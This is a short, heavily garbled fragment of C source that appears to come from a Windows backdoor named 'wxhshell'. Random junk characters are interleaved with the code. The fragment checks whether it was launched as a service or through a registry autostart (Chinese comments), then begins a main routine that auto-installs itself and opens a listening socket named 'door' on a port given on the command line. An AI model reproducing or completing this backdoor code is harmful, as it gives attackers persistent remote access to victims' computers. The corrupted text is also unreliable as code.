6[- U0|bKU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2=<,#7zlJ if(!hProcess) return 0; } nIYNeP?D !Dc;R+Ir0! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I"8Z'<|/\q ~rq:I<5 CloseHandle(hProcess); p_zVrlVb Jp8,s% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I@Yk &aU if(hProcess==NULL) return 0; B"88 .U}$ iYdg1 HMODULE hMod; ;$ ]a.9
- char procName[255]; Hit)mwfYE unsigned long cbNeeded; z#n+iC$9 SEu:31k{o if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SN}3 1n*"C!q CloseHandle(hProcess); bz,"TG[ =_6 Q26 if(strstr(procName,"services")) return 1; // 以服务启动 yk^2<?z>2 #K` [XA return 0; // 注册表启动 JvCy&xrE; } [H$kVQC 39~WP$GM // 主模块 &P*r66 int StartWxhshell(LPSTR lpCmdLine) Dl\0xcE { -EU=R_yg SOCKET wsl; )\W}&9 > BOOL val=TRUE; 6Y.k<oem int port=0; LF(S"Of struct sockaddr_in door; /7a3*a 3c:fYE if(wscfg.ws_autoins) Install(); %rl<%%T#.M KAT"!b port=atoi(lpCmdLine); ={p< |